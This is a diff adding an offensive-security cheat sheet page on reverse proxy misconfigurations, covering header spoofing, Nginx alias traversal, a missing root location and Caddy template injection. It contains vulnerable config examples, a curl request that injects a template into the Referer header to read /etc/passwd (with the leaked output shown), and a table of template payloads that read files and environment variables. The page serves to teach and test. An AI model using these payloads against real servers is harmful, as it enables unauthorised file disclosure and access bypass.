|
| 1 | +# Reverse Proxy Misconfigurations |
| 2 | + |
| 3 | +> A reverse proxy is a server that sits between clients and backend servers, forwarding client requests to the appropriate server while hiding the backend infrastructure and often providing load balancing or caching. Misconfigurations in a reverse proxy, such as improper access controls, lack of input sanitization in proxy_pass directives, or trusting client-provided headers like X-Forwarded-For, can lead to vulnerabilities like unauthorized access, directory traversal, or exposure of internal resources. |
| 4 | +
|
| 5 | +## Summary |
| 6 | + |
| 7 | +* [Tools](#tools) |
| 8 | +* [Methodology](#methodology) |
| 9 | + * [HTTP Headers](#http-headers) |
| 10 | + * [X-Forwarded-For](#x-forwarded-for) |
| 11 | + * [X-Real-IP](#x-real-ip) |
| 12 | + * [True-Client-IP](#true-client-ip) |
| 13 | + * [Nginx](#nginx) |
| 14 | + * [Off By Slash](#off-by-slash) |
| 15 | + * [Missing Root Location](#missing-root-location) |
| 16 | + * [Caddy](#caddy) |
| 17 | + * [Template Injection](#template-injection) |
| 18 | +* [Labs](#labs) |
| 19 | +* [References](#references) |
| 20 | + |
| 21 | +## Tools |
| 22 | + |
| 23 | +* [yandex/gixy](https://github.com/yandex/gixy) - Nginx configuration static analyzer. |
| 24 | +* [shiblisec/Kyubi](https://github.com/shiblisec/Kyubi) - A tool to discover Nginx alias traversal misconfiguration. |
| 25 | +* [laluka/bypass-url-parser](https://github.com/laluka/bypass-url-parser) - Tool that tests MANY url bypasses to reach a 40X protected page. |
| 26 | + |
| 27 | + ```ps1 |
| 28 | + bypass-url-parser -u "http://127.0.0.1/juicy_403_endpoint/" -s 8.8.8.8 -d |
| 29 | + bypass-url-parser -u /path/urls -t 30 -T 5 -H "Cookie: me_iz=admin" -H "User-agent: test" |
| 30 | + bypass-url-parser -R /path/request_file --request-tls -m "mid_paths, end_paths" |
| 31 | + ``` |
| 32 | +
|
| 33 | +## Methodology |
| 34 | +
|
| 35 | +### HTTP Headers |
| 36 | +
|
| 37 | +Since headers like `X-Forwarded-For`, `X-Real-IP`, and `True-Client-IP` are just regular HTTP headers, a client can set or override them if it can control part of the traffic path—especially when directly connecting to the application server, or when reverse proxies are not properly filtering or validating these headers. |
| 38 | +
|
| 39 | +#### X-Forwarded-For |
| 40 | +
|
| 41 | +`X-Forwarded-For` is an HTTP header used to identify the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. |
| 42 | +
|
| 43 | +When a client makes a request through a proxy or load balancer, that proxy adds an X-Forwarded-For header containing the client’s real IP address. |
| 44 | +
|
| 45 | +If there are multiple proxies (a request passes through several), each proxy adds the address from which it received the request to the header, comma-separated. |
| 46 | +
|
| 47 | +```ps1 |
| 48 | +X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3 |
| 49 | +``` |
| 50 | + |
| 51 | +Nginx can override the header with the client's real IP address. |
| 52 | + |
| 53 | +```ps1 |
| 54 | +proxy_set_header X-Forwarded-For $remote_addr; |
| 55 | +``` |
| 56 | + |
| 57 | +#### X-Real-IP |
| 58 | + |
| 59 | +`X-Real-IP` is another custom HTTP header, commonly used by Nginx and some other proxies, to forward the original client IP address. Rather than including a chain of IP addresses like X-Forwarded-For, X-Real-IP contains only a single IP: the address of the client connecting to the first proxy. |
| 60 | + |
| 61 | +#### True-Client-IP |
| 62 | + |
| 63 | +`True-Client-IP` is a header developed and standardized by some providers, particularly by Akamai, to pass the original client’s IP address through their infrastructure. |
| 64 | + |
| 65 | +### Nginx |
| 66 | + |
| 67 | +#### Off By Slash |
| 68 | + |
| 69 | +Nginx matches incoming request URIs against the location blocks defined in your configuration. |
| 70 | + |
| 71 | +* `location /app/` matches requests to `/app/`, `/app/foo`, `/app/bar/123`, etc. |
| 72 | +* `location /app` (no trailing slash) matches `/app*` (i.e., `/application`, `/appfile`, etc.), |
| 73 | + |
| 74 | +This means in Nginx, the presence or absence of a slash in a location block changes the matching logic. |
| 75 | + |
| 76 | +```ps1 |
| 77 | +server { |
| 78 | + location /app/ { |
| 79 | + # Handles /app/ and anything below, e.g., /app/foo |
| 80 | + } |
| 81 | + location /app { |
| 82 | + # Handles only /app with nothing after OR routes like /application, /appzzz |
| 83 | + } |
| 84 | +} |
| 85 | +``` |
| 86 | + |
| 87 | +Example of a vulnerable configuration: An attacker requesting `/styles../secret.txt` resolves to `/path/styles/../secret.txt` |
| 88 | + |
| 89 | +```ps1 |
| 90 | +location /styles { |
| 91 | + alias /path/css/; |
| 92 | +} |
| 93 | +``` |
| 94 | + |
| 95 | +#### Missing Root Location |
| 96 | + |
| 97 | +The `root /etc/nginx;` directive sets the server's root directory for static files. |
| 98 | +The configuration doesn't have a root location `/`, it will be set globally set. |
| 99 | +A request to `/nginx.conf` would resolve to `/etc/nginx/nginx.conf`. |
| 100 | + |
| 101 | +```ps1 |
| 102 | +server { |
| 103 | + root /etc/nginx; |
| 104 | +
|
| 105 | + location /hello.txt { |
| 106 | + try_files $uri $uri/ =404; |
| 107 | + proxy_pass http://127.0.0.1:8080/; |
| 108 | + } |
| 109 | +} |
| 110 | +``` |
| 111 | + |
| 112 | +### Caddy |
| 113 | + |
| 114 | +#### Template Injection |
| 115 | + |
| 116 | +The provided Caddy web server config uses the `templates` directive, which allows dynamic content rendering with Go templates. |
| 117 | + |
| 118 | +```ps1 |
| 119 | +:80 { |
| 120 | + root * / |
| 121 | + templates |
| 122 | + respond "You came from {http.request.header.Referer}" |
| 123 | +} |
| 124 | +``` |
| 125 | + |
| 126 | +This tells Caddy to process the response string as a template, and interpolate any variables (using Go template syntax) present in the referenced request header. |
| 127 | + |
| 128 | +In this curl request, the attacker supplied as `Referer` header a Go template expression: `{{readFile "etc/passwd"}}`. |
| 129 | + |
| 130 | +```ps1 |
| 131 | +curl -H 'Referer: {{readFile "etc/passwd"}}' http://localhost/ |
| 132 | +``` |
| 133 | + |
| 134 | +```ps1 |
| 135 | +HTTP/1.1 200 OK |
| 136 | +Content-Length: 716 |
| 137 | +Content-Type: text/plain; charset=utf-8 |
| 138 | +Server: Caddy |
| 139 | +Date: Thu, 24 Jul 2025 08:00:50 GMT |
| 140 | +
|
| 141 | +You came from root:x:0:0:root:/root:/bin/sh |
| 142 | +bin:x:1:1:bin:/bin:/sbin/nologin |
| 143 | +daemon:x:2:2:daemon:/sbin:/sbin/nologin |
| 144 | +``` |
| 145 | + |
| 146 | +Because Caddy is running the templates directive, it will evaluate anything in curly braces inside the context, including things from untrusted input. The `readFile` function is available in Caddy templates, so the attacker's input causes Caddy to actually read `/etc/passwd` and insert its content into the HTTP response. |
| 147 | + |
| 148 | +| Payload | Description | |
| 149 | +| ----------------------------- | ----------- | |
| 150 | +| `{{env "VAR_NAME"}}` | Get an environment variable | |
| 151 | +| `{{listFiles "/"}}` | List all files in a directory | |
| 152 | +| `{{readFile "path/to/file"}}` | Read a file | |
| 153 | + |
| 154 | +## Labs |
| 155 | + |
| 156 | +* [Root Me - Nginx - Alias Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-Alias-Misconfiguration) |
| 157 | +* [Root Me - Nginx - Root Location Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-Root-Location-Misconfiguration) |
| 158 | +* [Root Me - Nginx - SSRF Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration) |
| 159 | +* [Detectify - Vulnerable Nginx](https://github.com/detectify/vulnerable-nginx) |
| 160 | + |
| 161 | +## References |
| 162 | + |
| 163 | +* [What is X-Forwarded-For and when can you trust it? - Phil Sturgeonopens - January 31, 2024](https://httptoolkit.com/blog/what-is-x-forwarded-for/) |
| 164 | +* [Common Nginx misconfigurations that leave your web server open to attack - Detectify - November 10, 2020](https://blog.detectify.com/industry-insights/common-nginx-misconfigurations-that-leave-your-web-server-ope-to-attack/) |
0 commit comments